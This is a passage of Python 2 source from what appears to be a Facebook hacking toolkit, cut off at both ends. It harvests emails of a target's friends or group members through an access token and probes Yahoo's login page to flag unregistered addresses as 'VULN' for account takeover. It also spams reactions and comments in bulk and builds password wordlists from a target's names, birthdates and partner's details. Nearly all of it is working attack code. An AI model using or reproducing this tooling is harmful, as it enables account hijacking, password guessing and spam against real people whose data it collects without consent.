print '\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/MailVuln.txt'
save.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
def yahoofromfriends():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
os.system('reset')
print logo
mpsh = []
jml = 0
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Friend not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGetting email from friend \x1b[1;97m...')
teman = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
kimak = json.loads(teman.text)
save = open('out/FriendMailVuln.txt', 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for w in kimak['data']:
jml += 1
mpsh.append(jml)
id = w['id']
nama = w['name']
links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile('@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
br._factory.is_html = True
br.select_form(nr = 0)
br['username'] = mail
klik = br.submit().read()
jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
save.write(mail + '\n')
print '\x1b[1;97m[ \x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92m' + mail + ' \x1b[1;97m=>' + nama
berhasil.append(mail)
continue
except KeyError:
continue
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....'
print '\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97m' + str(len(berhasil))
print '\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/FriendMailVuln.txt'
save.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
def yahoomember():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
os.system('reset')
print logo
mpsh = []
jml = 0
id = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGetting email from group \x1b[1;97m...')
teman = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&limit=999999999&access_token=' + toket)
kimak = json.loads(teman.text)
save = open('out/GrupMailVuln.txt', 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for w in kimak['data']:
jml += 1
mpsh.append(jml)
id = w['id']
nama = w['name']
links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile('@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
br._factory.is_html = True
br.select_form(nr = 0)
br['username'] = mail
klik = br.submit().read()
jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
save.write(mail + '\n')
print '\x1b[1;97m[ \x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92m' + mail + ' \x1b[1;97m=>' + nama
berhasil.append(mail)
continue
except KeyError:
continue
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....'
print '\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97m' + str(len(berhasil))
print '\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/GrupMailVuln.txt'
save.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
def yahoolist():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
os.system('reset')
print logo
files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile path \x1b[1;91m: \x1b[1;97m')
try:
total = open(files, 'r')
mail = total.readlines()
except IOError:
print '\x1b[1;91m[!] File not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
mpsh = []
jml = 0
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
save = open('out/FileMailVuln.txt', 'w')
print 42 * '\x1b[1;97m\xe2\x95\x90'
mail = open(files, 'r').readlines()
for pw in mail:
mail = pw.replace('\n', '')
jml += 1
mpsh.append(jml)
yahoo = re.compile('@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
br._factory.is_html = True
br.select_form(nr = 0)
br['username'] = mail
klik = br.submit().read()
jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
save.write(mail + '\n')
print '\x1b[1;97m[ \x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92m' + mail
berhasil.append(mail)
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....'
print '\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97m' + str(len(berhasil))
print '\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/FileMailVuln.txt'
save.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
def menu_bot():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Bot Reactions Target Post'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Bot Reactions Grup Post'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Bot Komen Target Post'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Bot Komen Grup Post'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Mass delete Post'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6.\x1b[1;97m Mass accept friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m7.\x1b[1;97m Mass delete friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
bot_pilih()
def bot_pilih():
bots = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if bots == '':
print '\x1b[1;91m[!] Wrong input'
bot_pilih()
elif bots == '1':
menu_react()
elif bots == '2':
grup_react()
elif bots == '3':
bot_komen()
elif bots == '4':
grup_komen()
elif bots == '5':
deletepost()
elif bots == '6':
accept()
elif bots == '7':
unfriend()
elif bots == '0':
menu()
else:
print '\x1b[1;91m[!] Wrong input'
bot_pilih()
def menu_react():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1. \x1b[1;97mLike'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2. \x1b[1;97mLove'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3. \x1b[1;97mWow'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4. \x1b[1;97mHaha'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5. \x1b[1;97mSadBoy'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6. \x1b[1;97mAngry'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
react_pilih()
def react_pilih():
global tipe
aksi = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if aksi == '':
print '\x1b[1;91m[!] Wrong input'
react_pilih()
elif aksi == '1':
tipe = 'LIKE'
react()
elif aksi == '2':
tipe = 'LOVE'
react()
elif aksi == '3':
tipe = 'WOW'
react()
elif aksi == '4':
tipe = 'HAHA'
react()
elif aksi == '5':
tipe = 'SAD'
react()
elif aksi == '6':
tipe = 'ANGRY'
react()
elif aksi == '0':
menu_bot()
else:
print '\x1b[1;91m[!] Wrong input'
react_pilih()
def react():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID Target \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
try:
oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
ah = json.loads(oh.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for a in ah['feed']['data']:
y = a['id']
reaksi.append(y)
requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97m' + str(len(reaksi))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def grup_react():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1. \x1b[1;97mLike'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2. \x1b[1;97mLove'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3. \x1b[1;97mWow'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4. \x1b[1;97mHaha'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5. \x1b[1;97mSadBoy'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6. \x1b[1;97mAngry'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
reactg_pilih()
def reactg_pilih():
global tipe
aksi = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if aksi == '':
print '\x1b[1;91m[!] Wrong input'
reactg_pilih()
elif aksi == '1':
tipe = 'LIKE'
reactg()
elif aksi == '2':
tipe = 'LOVE'
reactg()
elif aksi == '3':
tipe = 'WOW'
reactg()
elif aksi == '4':
tipe = 'HAHA'
reactg()
elif aksi == '5':
tipe = 'SAD'
reactg()
elif aksi == '6':
tipe = 'ANGRY'
reactg()
elif aksi == '0':
menu_bot()
else:
print '\x1b[1;91m[!] Wrong input'
reactg_pilih()
def reactg():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID Group \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grup_react()
try:
oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
ah = json.loads(oh.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for a in ah['feed']['data']:
y = a['id']
reaksigrup.append(y)
requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97m' + str(len(reaksigrup))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def bot_komen():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92mfor new lines"
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
km = raw_input('\x1b[1;91m[+] \x1b[1;92mComment \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
km = km.replace('<>', '\n')
try:
p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
a = json.loads(p.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for s in a['feed']['data']:
f = s['id']
komen.append(f)
requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97m' + str(len(komen))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] ID not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def grup_komen():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92mfor new lines"
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Group \x1b[1;91m:\x1b[1;97m ')
km = raw_input('\x1b[1;91m[+] \x1b[1;92mComment \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
km = km.replace('<>', '\n')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
try:
p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
a = json.loads(p.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for s in a['feed']['data']:
f = s['id']
komengrup.append(f)
requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97m' + str(len(komengrup))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def deletepost():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
nam = requests.get('https://graph.facebook.com/me?access_token=' + toket)
lol = json.loads(nam.text)
nama = lol['name']
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama
jalan('\x1b[1;91m[+] \x1b[1;92mStart\x1b[1;97m ...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket)
asus = json.loads(asu.text)
for p in asus['data']:
id = p['id']
piro = 0
url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket)
ok = json.loads(url.text)
try:
error = ok['error']['message']
print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mFailed'
continue
except TypeError:
print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mDeleted'
piro += 1
continue
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] Connection Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
continue
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mDone'
menu_bot()
return None
def accept():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket)
teman = json.loads(r.text)
if '[]' in str(teman['data']):
print '\x1b[1;91m[!] No friend request'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for i in teman['data']:
gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket)
a = json.loads(gas.text)
if 'error' in str(a):
print '\x1b[1;97m[ \x1b[1;91mFailed\x1b[1;97m ] ' + i['from']['name']
continue
print '\x1b[1;97m[ \x1b[1;92mAccept\x1b[1;97m ] ' + i['from']['name']
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mDone'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def unfriend():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print '\x1b[1;97mStop \x1b[1;91mCTRL+C'
print 42 * '\x1b[1;97m\xe2\x95\x90'
try:
pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
cok = json.loads(pek.text)
for i in cok['data']:
nama = i['name']
id = i['id']
requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket)
print '\x1b[1;97m[\x1b[1;92m Deleted \x1b[1;97m] ' + nama
except IndexError:
pass
except KeyboardInterrupt:
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
print '\n\x1b[1;91m[+] \x1b[1;92mDone'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_bot()
def lain():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Create Post'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Create Wordlist'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Account Checker'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m See my group list'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Profile Guard'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
pilih_lain()
def pilih_lain():
other = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if other == '':
print '\x1b[1;91m[!] Wrong input'
pilih_lain()
elif other == '1':
status()
elif other == '2':
wordlist()
elif other == '3':
check_akun()
elif other == '4':
grupsaya()
elif other == '5':
guard()
elif other == '0':
menu()
else:
print '\x1b[1;91m[!] Wrong input'
pilih_lain()
def status():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
msg = raw_input('\x1b[1;91m[+] \x1b[1;92mType status \x1b[1;91m:\x1b[1;97m ')
if msg == '':
print "\x1b[1;91m[!] Don't be empty"
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
else:
res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket)
op = json.loads(res.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mCreate \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id']
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
def wordlist():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.system('reset')
print logo
print '\x1b[1;91m[?] \x1b[1;92mFill in the complete data of the target below'
print 42 * '\x1b[1;97m\xe2\x95\x90'
a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ')
file = open(a + '.txt', 'w')
b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ')
c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ')
d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ')
e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
f = e[0:2]
g = e[2:4]
h = e[4:]
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v'
i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ')
j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ')
k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mCreate \x1b[1;97m...')
l = k[0:2]
m = k[2:4]
n = k[4:]
file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k))
wg = 0
while wg < 100:
wg = wg + 1
file.write(a + str(wg) + '\n')
en = 0
while en < 100:
en = en + 1
file.write(i + str(en) + '\n')
word = 0
while word < 100:
word = word + 1
file.write(d + str(word) + '\n')
gen = 0
while gen < 100:
gen = gen + 1
file.write(j + str(gen) + '\n')
file.close()
time.sleep(1.5)
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mSaved \x1b[1;91m: \x1b[1;97m %s.txt' % a
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
except IOError:
e = None
print '\x1b[1;91m[!] Failed'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
def check_akun():
os.system('reset')
